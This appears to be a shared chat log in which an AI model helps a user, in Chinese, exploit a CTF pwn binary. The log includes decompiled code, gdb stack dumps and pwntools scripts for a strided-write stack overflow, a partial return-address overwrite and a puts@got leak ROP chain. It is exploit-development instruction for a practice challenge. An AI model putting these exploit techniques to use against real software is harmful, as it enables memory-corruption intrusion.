hpp@swikar:~/pwn/shuzi/pwn/attachment$ checksec pw...
Created on: April 12, 2026
Answered using GPT-5.4 Thinking by Chat01
Created on: April 12, 2026
Answered using GPT-5.4 Thinking by Chat01
hpp@swikar:~/pwn/shuzi/pwn/attachment$ checksec pwn
[*] '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
int sub_4016C8()
{
char s[128]; // [rsp+0h] [rbp-A0h] BYREF
__int64 v2[3]; // [rsp+80h] [rbp-20h] BYREF
int v3; // [rsp+9Ch] [rbp-4h]
v3 = 0;
puts("length: ");
__isoc99_scanf("%zu", v2);
v3 = sub_4014A8(LODWORD(v2[0]));
memset(s, 0, sizeof(s));
puts("What do you want to say? ");
sub_40159F(s);
sub_4015CF(s);
sub_4015F0(s);
return printf("input: %s\n", s);
}
__int64 __fastcall sub_40159F(__int64 a1)
{
__int64 result; // rax
*(a1 + 136) = 0LL;
result = qword_404110 ^ 1;
qword_404110 ^= 1uLL;
return result;
}
__int64 sub_4015CF()
{
__int64 result; // rax
result = qword_404110 ^ 3;
qword_404110 ^= 3uLL;
return result;
}
unsigned __int64 __fastcall sub_4015F0(__int64 a1)
{
__int64 v1; // rax
unsigned __int64 result; // rax
__int16 s; // [rsp+16h] [rbp-Ah] BYREF
__int64 i; // [rsp+18h] [rbp-8h]
if ( qword_404110 == 2 )
v1 = 4LL;
else
v1 = 2LL;
for ( i = v1; ; (i * ((a1 + 136))++ + a1) = s )
{
result = *(a1 + 128);
if ( *(a1 + 136) >= result )
break;
result = *(a1 + 136);
if ( result > 0x80 )
break;
memset(&s, 0, sizeof(s));
read(0, &s, 2uLL);
result = s;
if ( s == 10 )
break;
result = HIBYTE(s);
if ( HIBYTE(s) == 10 )
break;
}
return result;
}
from pwn import*
#from LibcSearcher import *
#p=remote("node4.buuoj.cn",)
p=process("./pwn")
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x4016E5
context.log_level="debug"
def dbg():
gdb.attach(p)
pause()
p.sendlineafter('length:','1000')
dbg()
payload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('want to say?',payload)
p.interactive()
我这样子写为什么不对,应该怎么写
你这个 payload 直接按普通栈溢出 b'a'*0xa8 + rop 去打,当然不对。这个题的输入函数 不是连续按字节往栈里写,而是按它自己的“步长”写,所以你的数据根本没有按你想的方式铺到返回地址上。
核心问题在 sub_4015F0:
cfor ( i = v1; ; *(i * (*(a1 + 136))++ + a1) = s )
它每次不是写 a1[idx],而是写:
c*(a1 + i * idx) = s;
而且 s 是 __int16,read(0, &s, 2),也就是每次读 2 字节,写 2 字节。
再看前面两个函数:
csub_40159F(s); // *(a1+136)=0; qword_404110 ^= 1 sub_4015CF(s); // qword_404110 ^= 3
如果全局初值是 0,那么:
于是 sub_4015F0 里:
cif ( qword_404110 == 2 ) v1 = 4; else v1 = 2;
所以这里实际是 每次隔 4 字节写 2 字节。
也就是说你的输入布局实际像这样:
s + 0x0s + 0x4s + 0x8s + 4*n而不是连续覆盖。
a*0xa8 + p64(...) 不行你以为栈是这样被覆盖的:
python[a...a][pop_rdi][puts_got][puts_plt][main]
但实际上程序是按 每 4 字节写 2 字节 的方式塞进去的,所以真实内存更像:
textoffset 0x00: 2字节 offset 0x02: 保持原样 offset 0x04: 2字节 offset 0x06: 保持原样 ...
因此:
0xa8 不是“连续 0xa8 字节填充”先算一下返回地址的位置。
char s[128] 在 [rbp-0xa0],返回地址在 [rbp+8]。
所以从 s 到返回地址偏移是:
text0xa0 + 0x8 = 0xa8
这个偏移没错,但因为是步长 4 写 2 字节,所以你不能简单发 0xa8 个垃圾字节。
要命中返回地址,你需要满足:
text4 * idx = 0xa8 idx = 0x2a
所以第 0x2a 次写会落到返回地址低 2 字节处。
接下来:
0x2b 次写到 0xac0x2c 次写到 0xb00x2d 次写到 0xb4这 4 次正好能覆盖 8 字节返回地址,但注意它们是分散写的:
0xa8~0xa90xac~0xad0xb0~0xb10xb4~0xb5中间的 2 字节空洞不会被你改。
所以这个题不能直接完整伪造一个普通 8 字节地址,除非目标地址本身中间那些字节和原值兼容,或者你利用的是部分覆盖。
因为是:
所以更适合:
rbp而不是直接一把梭标准 ROP。
你用的是:
pythonp.sendlineafter('want to say?', payload)
但程序里 sub_4015F0 是:
cread(0, &s, 2uLL); if (s == 10) break; if (HIBYTE(s) == 10) break;
也就是说它每次读 2 字节,而且一旦这 2 字节里任何一个是 \n 就停。
sendline() 会自动在末尾加 \n,这会让输入逻辑提早结束。
这种题通常要用:
pythonp.sendafter('What do you want to say? ', payload)
不要自动补换行。
先按“2 字节一组”构造输入。因为每组会写到 s + 4*k。
例如先验证覆盖返回地址,可以这么做:
pythonfrom pwn import * p = process('./pwn') context.log_level = 'debug' p.sendlineafter(b'length: ', b'1000') payload = b'' # 前 0x2a 组,填垃圾。每组 2 字节,对应内存间隔 4 字节 payload += b'AA' * 0x2a # 从这里开始覆盖返回地址相关位置 payload += p16(0x16e5) # 先试试把返回地址低2字节改成 main 低2字节 payload += b'BB' payload += b'CC' payload += b'DD' p.sendafter(b'What do you want to say? ', payload) p.interactive()
但这里要注意:这不是“完整覆盖返回地址”,只是让你先观察实际落点。
下断点到 sub_4015F0 返回后,看栈:
gdbb *0x4016?? # sub_4015F0 后面 x/80gx $rsp x/200bx $rbp-0xa0
你会看到输入是隔 4 字节铺开的。
看原来的返回地址是多少,比如:
gdbx/gx $rbp+8
这样你就知道你只能改哪些字节、剩下哪些字节保持原样。
因为非 PIE,代码段固定在 0x401xxx。
如果原返回地址本来就在 0x401xxx 附近,那只改低 2 字节就可能跳到你想去的 gadget / main / vuln。
这类题常见打法是:
由于程序最后会:
cprintf("input: %s\n", s);
而 s 不是连续写满,中间有很多 0,直接泄露未必好用。
更现实的是:
main 或 sub_4016C8把:
pythonpayload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('want to say?',payload)
改成“按 2 字节分组”的构造,并且用 sendafter:
pythonpayload = b'AA' * 0x2a # 到返回地址 payload += p16(target1) # 写 ret 的第1组2字节 payload += p16(target2) # 写 ret+4 的第2组2字节 payload += p16(target3) # 写 ret+8 的第3组2字节 payload += p16(target4) # 写 ret+0xc 的第4组2字节 p.sendafter(b'What do you want to say? ', payload)
但这里的 target1~target4 不是简单按 p64(addr) 切开,因为它们对应的是隔 4 字节的位置,不是连续 8 字节。
你不对的根本原因是:
这个漏洞不是“连续栈溢出”,而是“每次隔 4 字节写 2 字节”的离散写入。
所以不能用普通 padding + ROP 模板,必须按写入步长重新设计 payload,而且不能用 sendline()。
把你本地 x/200bx $rbp-0xa0 的栈截图或者原返回地址贴出来,我可以直接帮你把这个题的 payload 按实际地址拆成可用脚本。
RAX 0x4142
RBX 0
RCX 0x72bb1af14862 (read+18) ◂— cmp rax, -0x1000 / 'H=' */
RDX 0x4142
RDI 0
RSI 0x7ffc84fd70f6 ◂— 0x44141
R8 0x19
R9 0
R10 0x72bb1ae065e8 ◂— 0xf001200001a64
R11 0x246
R12 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e / './pwn' */
R13 0x401787 ◂— endbr64
R14 0x403e18 —▸ 0x4011a0 ◂— endbr64
R15 0x72bb1b122040 (_rtld_global) —▸ 0x72bb1b1232e0 ◂— 0
RBP 0x7ffc84fd7100 —▸ 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
*RSP 0x7ffc84fd70e0 ◂— 0
RIP 0x4016c6 ◂— leave
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
► 0x4016c6 leave
0x4016c7 ret <0x401769>
↓
0x401769 lea rax, [rbp - 0xa0] RAX => 0x7ffc84fd7110 ◂— 0x414100004141 / 'AA' /
0x401770 mov rsi, rax RSI => 0x7ffc84fd7110 ◂— 0x414100004141 / 'AA' */
0x401773 lea rdi, [rip + 0x8b1] RDI => 0x40202b ◂— 'input: %s\n'
0x40177a mov eax, 0 EAX => 0
0x40177f call printf@plt printf@plt
0x401784 nop
0x401785 leave
0x401786 ret
0x401787 endbr64
─────────────────────────────────────────────────[ STACK ]───────────
pwndbg> stack 60
00:0000│ rsp 0x7ffc84fd70e0 ◂— 0
01:0008│-018 0x7ffc84fd70e8 —▸ 0x7ffc84fd7110 ◂— 0x414100004141 /* 'AA' /
02:0010│ rsi-6 0x7ffc84fd70f0 ◂— 0x41417ffc84fd72d8
03:0018│-008 0x7ffc84fd70f8 ◂— 4
04:0020│ rbp 0x7ffc84fd7100 —▸ 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
05:0028│+008 0x7ffc84fd7108 —▸ 0x401769 ◂— lea rax, [rbp - 0xa0]
06:0030│+010 0x7ffc84fd7110 ◂— 0x414100004141 / 'AA' /
... ↓ 16 skipped
17:00b8│+098 0x7ffc84fd7198 ◂— 0x4142 / 'BA' /
18:00c0│+0a0 0x7ffc84fd71a0 —▸ 0x7ffc84fd71c0 ◂— 1
19:00c8│+0a8 0x7ffc84fd71a8 ◂— 0x123488684fd72d8
1a:00d0│+0b0 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
1b:00d8│+0b8 0x7ffc84fd71b8 —▸ 0x4017d5 ◂— mov eax, 0
1c:00e0│+0c0 0x7ffc84fd71c0 ◂— 1
1d:00e8│+0c8 0x7ffc84fd71c8 —▸ 0x72bb1ae29d90 (__libc_start_call_main+128) ◂— mov edi, eax
1e:00f0│+0d0 0x7ffc84fd71d0 ◂— 0
1f:00f8│+0d8 0x7ffc84fd71d8 —▸ 0x401787 ◂— endbr64
20:0100│+0e0 0x7ffc84fd71e0 ◂— 0x100000000
21:0108│+0e8 0x7ffc84fd71e8 —▸ 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e / './pwn' /
22:0110│+0f0 0x7ffc84fd71f0 ◂— 0
23:0118│+0f8 0x7ffc84fd71f8 ◂— 0xdfd2585b4da8cf97
24:0120│+100 0x7ffc84fd7200 —▸ 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e / './pwn' */
25:0128│+108 0x7ffc84fd7208 —▸ 0x401787 ◂— endbr64
26:0130│+110 0x7ffc84fd7210 —▸ 0x403e18 —▸ 0x4011a0 ◂— endbr64
27:0138│+118 0x7ffc84fd7218 —▸ 0x72bb1b122040 (_rtld_global) —▸ 0x72bb1b1232e0 ◂— 0
28:0140│+120 0x7ffc84fd7220 ◂— 0x202b51a1ae0acf97
29:0148│+128 0x7ffc84fd7228 ◂— 0x3aa46d9e7722cf97
2a:0150│+130 0x7ffc84fd7230 ◂— 0
... ↓ 4 skipped
2f:0178│+158 0x7ffc84fd7258 ◂— 0x1cbd338e36d18b00
30:0180│+160 0x7ffc84fd7260 ◂— 0
31:0188│+168 0x7ffc84fd7268 —▸ 0x72bb1ae29e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
32:0190│+170 0x7ffc84fd7270 —▸ 0x7ffc84fd72e8 —▸ 0x7ffc84fd8295 ◂— 'SHELL=/bin/bash'
33:0198│+178 0x7ffc84fd7278 —▸ 0x403e18 —▸ 0x4011a0 ◂— endbr64
34:01a0│+180 0x7ffc84fd7280 —▸ 0x72bb1b1232e0 ◂— 0
35:01a8│+188 0x7ffc84fd7288 ◂— 0
36:01b0│+190 0x7ffc84fd7290 ◂— 0
37:01b8│+198 0x7ffc84fd7298 —▸ 0x4010f0 ◂— endbr64
38:01c0│+1a0 0x7ffc84fd72a0 —▸ 0x7ffc84fd72d0 ◂— 1
39:01c8│+1a8 0x7ffc84fd72a8 ◂— 0
3a:01d0│+1b0 0x7ffc84fd72b0 ◂— 0
3b:01d8│+1b8 0x7ffc84fd72b8 —▸ 0x401115 ◂— hlt
你这份现场把关键点已经说明白了:
s 的起点是 0x7ffc84fd7110rbp 在 0x7ffc84fd71b0 = s + 0xa00x7ffc84fd71b8 = s + 0xa80x4017d5所以 偏移 0xa8 本身没错。
你打不通的真正原因是:第一次输入根本不是连续覆盖。
你栈里这一项:
text0x7ffc84fd7110 ◂— 0x414100004141
说明内存实际变成了:
text41 41 00 00 41 41 00 00 ...
也就是每次写 2 字节,但地址间隔 4 字节。
所以第一次调用时,程序实际是在做:
c*(short *)(s + 4*idx) = input_word;
不是连续写。
所以你这句:
pythonpayload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
在第一次调用里会被打散成:
text[a a][00 00][a a][00 00]...
ROP 链当然拼不起来。
看这两个函数:
cqword_404110 ^= 1; qword_404110 ^= 3;
合起来就是每次调用后:
cqword_404110 ^= 2;
而 sub_4015F0 里:
cif ( qword_404110 == 2 ) v1 = 4; else v1 = 2;
所以全局变量如果初始是 0,那么:
0 -> 2,v1 = 42 -> 0,v1 = 20 -> 2,又变回 4也就是说:
第一轮只能做“隔位部分覆盖” 第二轮才是正常连续溢出
这才是这题的利用思路。
第一轮步长 4,但你仍然能改到返回地址。
因为返回地址在 s + 0xa8,而步长是 4:
idx = 0x2a 时写到 s + 0xa8idx = 0x2b 时写到 s + 0xac也就是:
对于原返回地址 0x4017d5,字节序是:
textd5 17 40 00 00 00 00 00
你能控制的是:
而 byte2~3 还是原来的 40 00,正好够你把返回地址改成任意 0x401xxx。
所以第一轮不要上 ROP,只做一件事:
把返回地址改回 main / 题目主逻辑入口,再进一次。
第一次每组写 2 字节,间隔 4 字节。
要走到 ret,只需要 44 组,也就是 88 字节输入。
pythonfrom pwn import * p = process('./pwn') elf = ELF('./pwn') context.log_level = 'debug' reentry = 0x4016E5 # 你想回去的入口,确保是能重新走一轮输入的位置 p.sendlineafter(b'length: ', b'1000') payload = b'AA' * 42 # idx 0 ~ 41 payload += p16(reentry & 0xffff) # idx 42 -> s+0xa8,改 ret 低2字节 payload += p16((reentry >> 32) & 0xffff) # idx 43 -> s+0xac,text 段这里通常就是 0 p.sendafter(b'What do you want to say? ', payload + b'\n')
这里用 sendafter(..., payload + b'\n') 比较稳,最后那个 \n 只是拿来停循环,不参与写入。
第二轮时步长变成 2,这时每次写 2 字节到:
texts+0, s+2, s+4, ...
这就是连续覆盖了。
这时你原来那种:
pythonb'A'*0xa8 + p64(...)
才是对的。
pythonfrom pwn import * p = process('./pwn') elf = ELF('./pwn') rop = ROP(elf) puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] reentry = 0x4016E5 pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] # 有时为了栈对齐会用到 context.log_level = 'debug' # ---------------- stage 1: 第一次,步长4,只负责回到入口 ---------------- p.sendlineafter(b'length: ', b'1000') payload1 = b'AA' * 42 payload1 += p16(reentry & 0xffff) payload1 += p16((reentry >> 32) & 0xffff) # 一般为0 p.sendafter(b'What do you want to say? ', payload1 + b'\n') # ---------------- stage 2: 第二次,步长2,正常连续栈溢出 ---------------- p.sendlineafter(b'length: ', b'1000') payload2 = flat( b'A' * 0xa8, ret, # 某些环境可加可不加 pop_rdi, puts_got, puts_plt, reentry ) p.sendafter(b'What do you want to say? ', payload2 + b'\n') p.recvuntil(b'input: ') leak = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f'puts leak = {hex(leak)}') p.interactive()
你现在是把 第一轮 当成普通连续溢出来打了。
但第一轮实际上只能“隔 4 字节写 2 字节”,所以:
0xa8 填充不成立p64(pop_rdi) 会被打散puts@got -> puts@plt -> main 这条链不会落成连续的 8 字节地址pop_rdi 没定义你贴出来的代码里没有这个 gadget 的获取,应该补上:
pythonrop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
sendlineafter 不是主要问题,但最好自己控制结尾这题是 read(0, &s, 2) 循环读 2 字节,遇到 \n 才停。
所以更稳的方式是:
pythonp.sendafter(prompt, payload + b'\n')
这样你知道只有最后那个换行是终止符。
你这个 binary checksec 里有:
SHSTK: EnabledIBT: Enabled这说明它带了 CET 标记。
如果本机/远端真的开启了 shadow stack enforcement,普通 ret2libc 会在 ret 时被拦。
所以排查顺序应该是:
ret 处报控制保护异常或莫名崩溃,再考虑是 SHSTK 真生效了但就你现在这份代码来说,先错的是利用思路,不是 CET。
最核心的结论就是这句:
第一轮只拿来“部分覆盖返回地址,回到入口”;第二轮才上正常 ROP。
0x00000000004011e1 : pop rdi ; ret
hpp@swikar:~/pwn/shuzi/pwn/attachment$ python3 p.py
[+] Starting local process './pwn': pid 2684
[] '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[] Loading gadgets for '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
[DEBUG] Received 0x9 bytes:
b'length: \n'
[DEBUG] Sent 0x5 bytes:
b'1000\n'
[DEBUG] Received 0x1a bytes:
b'What do you want to say? \n'
[DEBUG] Sent 0x59 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000050 41 41 41 41 e5 16 00 00 0a │AAAA│····│·│
00000059
[DEBUG] Received 0xa bytes:
b'input: AA\n'
[*] Process './pwn' stopped with exit code 0 (pid 2684)
Traceback (most recent call last):
File "/home/hpp/pwn/shuzi/pwn/attachment/p.py", line 26, in <module>
p.sendlineafter(b'length: ', b'1000')
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 841, in sendlineafter
res = self.recvuntil(delim, timeout=timeout)
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
res = self.recv(timeout=self.timeout)
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 106, in recv
return self._recv(numb, timeout) or b''
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
raise EOFError
EOFError
还是不对
现在已经能定位到**为什么“还是不对”**了:
你这次不是“地址写错”,而是在到达返回地址之前,把两个关键控制槽位先打坏了,导致循环提前停了,根本没写到 ret。
s+0x80 和 s+0x88这个函数里,s 后面其实还贴着两个关键字段:
s + 0x80 → *(a1+128):循环用的 lengths + 0x88 → *(a1+136):循环用的 idx而你的写入规则是:
s + 4*idx所以第一次时:
idx = 32 会写到 s + 0x80idx = 34 会写到 s + 0x88idx = 42 才会写到返回地址 s + 0xa8也就是说:
你还没写到返回地址,就已经先把 length 和 idx 自己覆盖掉了。
你发的是:
text41 41 ... 41 41 e5 16 00 00 0a
也就是前面几乎全是 AA。
那到第一次循环的:
idx=32 时,你把 length 低 2 字节改成了 0x4141idx=34 时,你把 idx 自己低 2 字节改成了 0x4141于是下一轮检查时:
cif (*(a1+136) >= *(a1+128)) break; if (*(a1+136) > 0x80) break;
此时 idx = 0x4141,显然 > 0x80,直接 break。
所以程序只写到了前面一点点,打印:
textinput: AA
然后正常退出。
这不是 ret 改错了,是根本没机会写到 ret。
第一次 payload 不能全是 AA,必须在对应位置放特殊值。
第一次步长是 4,按“第几个 2-byte 单元”来看:
lengthidxret 低 2 字节ret 的第 4、5 字节所以第一轮应该这样写:
pythonfrom pwn import * p = process('./pwn') elf = ELF('./pwn') context.log_level = 'debug' reentry = 0x4016E5 # 你要跳回去的位置 p.sendlineafter(b'length: \n', b'1000') w = [b'AA'] * 44 w[32] = p16(0x200) # length 改大一点,保证能继续 w[34] = p16(35) # idx 在写到 s+0x88 后,下一轮应从 35 继续 w[42] = p16(reentry & 0xffff) # ret 低2字节 w[43] = p16((reentry >> 32) & 0xffff) # ret 第4、5字节,一般是 0 payload1 = b''.join(w) p.sendafter(b'What do you want to say? \n', payload1 + b'\n') p.interactive()
w[34] = p16(35) 是对的因为在 idx=34 这一轮里,它会往 s+0x88 写 2 字节。这个位置正好就是计数器自己。
你必须把它写成一个还能继续往后跑的值,例如 35。
如果你还写 AA,也就是 0x4141,那下一轮检查时:
cidx > 0x80
直接退出。
b'A'*0xa8第二轮虽然步长变成 2,看起来像“正常连续写”,但还是会先经过:
idx=64 → s+0x80(length)idx=68 → s+0x88(idx 自己)所以第二轮如果你继续:
pythonb'A' * 0xa8 + rop
到了 idx=68 时,idx 又会被写成 0x4141,循环照样提前停。
要把第二轮 payload 当成连续字节流构造,但补丁改掉偏移 0x80 和 0x88:
pythonfrom pwn import * p = process('./pwn') elf = ELF('./pwn') rop = ROP(elf) context.log_level = 'debug' puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] reentry = 0x4016E5 pop_rdi = 0x4011e1 # ---------------- stage 1 ---------------- p.sendlineafter(b'length: \n', b'1000') w = [b'AA'] * 44 w[32] = p16(0x200) w[34] = p16(35) w[42] = p16(reentry & 0xffff) w[43] = p16((reentry >> 32) & 0xffff) payload1 = b''.join(w) p.sendafter(b'What do you want to say? \n', payload1 + b'\n') # ---------------- stage 2 ---------------- p.sendlineafter(b'length: \n', b'1000') payload2 = bytearray( b'A' * 0xa8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(reentry) ) payload2[0x80:0x82] = p16(0x200) # length payload2[0x88:0x8a] = p16(69) # idx,保证从 68 继续往后写 p.sendafter(b'What do you want to say? \n', bytes(payload2) + b'\n') p.recvuntil(b'input: ') leak = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f'puts leak = {hex(leak)}') p.interactive()
你不是没打到返回地址,
而是在到达返回地址之前,把循环自己的 idx 变量写成了 0x4141,所以循环提前退出了。
先只跑第一阶段,然后在 sub_4016C8 的 leave; ret 前下断点,看:
gdbx/gx $rbp+8
如果第一阶段成功,这里应该变成:
text0x4016e5
如果这里已经对了,说明第一阶段通了,再上第二阶段。
你现在 reentry = 0x4016E5 是你原来脚本里的值,但最好还是确认一下:
pythonprint(hex(elf.symbols['main']))
或者在 gdb 里:
gdbinfo functions main
确保 0x4016E5 真的是你想回去的入口。
你这题现在不是“ROP 写法”的问题了,而是要把 length/idx 这两个中间槽位一起纳入 payload 设计。
你要是愿意,把你第二轮断在 leave; ret 前的 x/20gx $rbp-0xa0 再贴一下,我可以直接帮你把 stage2 调到可跑的状态。
还是到不了第二轮,返回地址还没改到
你现在大概率不是“写法还是错”,而是看错了返回地址的位置。
你贴的断点位置是:
textRIP 0x4016c6 ◂— leave ... 0x4016c7 ret <0x401769>
这说明你当前停在 sub_4015F0 的 epilogue。
所以此时:
[$rbp+8] = 0x401769 是 sub_4015F0 的返回地址sub_4016C8 的返回地址而外层函数的栈帧在上一层:
textsaved caller rbp = *(uint64_t *)$rbp = 0x7ffc84fd71b0 outer ret addr = saved_caller_rbp + 8 = 0x7ffc84fd71b8
也就是你之前算的 s+0xa8 没错,但不能在 sub_4015F0 里看 $rbp+8。
在你现在这个断点,直接看:
gdbset $caller = *(unsigned long long*)$rbp x/gx $caller+8 x/24gx $caller-0xa0
这里:
$caller-0xa0 就是 s$caller+8 就是你真正要改的返回地址如果第一轮成功,$caller+8 应该从原来的 0x4017d5 变成你想跳的地址,比如 0x4016e5。
leave 前你贴的反汇编里外层函数末尾是:
text0x401785 leave 0x401786 ret
那你就断这里:
gdbb *0x401785 c x/gx $rbp+8 x/24gx $rbp-0xa0
在这个断点上,$rbp+8 才是你要改的那个返回地址。
第一次步长是 4,所以索引对应关系是:
idx=32 -> s+0x80 -> lengthidx=34 -> s+0x88 -> idxidx=42 -> s+0xa8 -> 外层返回地址低 2 字节idx=43 -> s+0xac -> 外层返回地址第 4、5 字节所以第一轮必须至少修这 4 个位置。
你先不要上两阶段,先只做第一阶段,并且让每个 2-byte 单元都可识别,这样最好排查。
pythonfrom pwn import * p = process('./pwn') context.log_level = 'debug' target = 0x4016e5 p.sendlineafter(b'length: \n', b'1000') w = [p16(i) for i in range(44)] # 保护两个控制槽位 w[32] = p16(0x100) # length,保证 > 42 w[34] = p16(35) # idx,保证不会在这里自杀 # 改外层返回地址 w[42] = p16(target & 0xffff) # 低2字节 w[43] = p16((target >> 32) & 0xffff) # 第4、5字节,通常为0 payload = b''.join(w) assert b'\n' not in payload p.sendafter(b'What do you want to say? \n', payload + b'\n') p.interactive()
如果你在 0x401785 断下:
gdbx/gx $rbp+8
应该看到:
text0x...: 0x00000000004016e5
如果还不是,那就去看:
gdbx/40hx $rbp-0xa0
你应该能在这些位置看到:
s+0x80 低两字节 = 0x0100s+0x88 低两字节 = 0x0023(35)s+0xa8 低两字节 = 0x16e5在 sub_4015F0 里看 $rbp+8,只能看到 0x401769,那不是目标。
也可能其实已经改到了,但你跳的地址不是你想的那个入口,或者你看的断点位置不对。
先只做这三步:
*0x401785x/gx $rbp+8$rbp+8 == 0x4016e5说明第一轮已经通了,问题不在“改不到返回地址”,而在你第二轮或跳转点选择。
$rbp+8 还是 0x4017d5说明第一轮没写到目标槽位,这时看:
gdbx/40hx $rbp-0xa0
确认 0x80 / 0x88 / 0xa8 / 0xac 这四个偏移到底被写成了什么。
现在先不要再盯着 0x4016c6 那个断点上的 $rbp+8。那是内层函数的返回地址,不是你要改的那个。
你下一步就做这个:
gdbb *0x401785 r
然后发第一阶段 payload,停下来后看:
gdbx/gx $rbp+8
把这一条的结果贴出来,我就能直接告诉你第一轮到底有没有成功。